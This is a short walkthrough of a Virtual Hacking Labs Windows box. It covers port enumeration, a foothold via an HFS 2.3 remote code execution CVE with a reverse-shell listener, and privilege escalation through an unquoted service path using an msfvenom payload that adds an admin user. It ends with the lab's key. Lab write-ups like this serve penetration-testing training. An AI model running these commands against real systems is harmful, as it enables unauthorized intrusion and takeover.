Aaron — VHL (10.11.1.27)

135/139 open msrpc/netbios

#virtual hacking labs#vhl#walkthrough#boxes#os:windows#tech:rce#tech:cve

Aaron — VHL (10.11.1.27)

Port Enumeration (10.11.1.27)

🐺 howlsec@kalishell

$135/139  open  msrpc/netbios
$3389/tcp open  ms-wbt-server  RDP (AARON, Win 10 10.0.14393)
$8080/tcp open  http           HttpFileServer httpd 2.3 (HFS 2.3)

Foothold: HFS 2.3 RCE (CVE-2014-6287)

🐺 howlsec@kalishell

$python3 exploit.py    # thepedroalves/HFS-2.3-RCE-Exploit -> reverse shell as Aaron
$rlwrap nc -lnvp 4444

Privesc: unquoted service path (WiseBootAssistant)

WiseBootAssistant runs C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe unquoted, and the Wise directory is writable — drop Wise.exe there:

🐺 howlsec@kalipowershell

$Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WiseBootAssistant" -Name ImagePath
$# create a payload that adds an admin user
$# (kali) msfvenom -p windows/adduser USER=lazarus PASS=Lazarus! -f exe > Wise.exe
$# copy Wise.exe to C:\Program Files (x86)\Wise\
$shutdown /r /t 0     # service is auto-start; reboot runs Wise.exe as SYSTEM
$# (kali) xfreerdp3 /u:lazarus /p:Lazarus! /v:10.11.1.27   -> read key: ibvsojxhcqkvdwvvezvi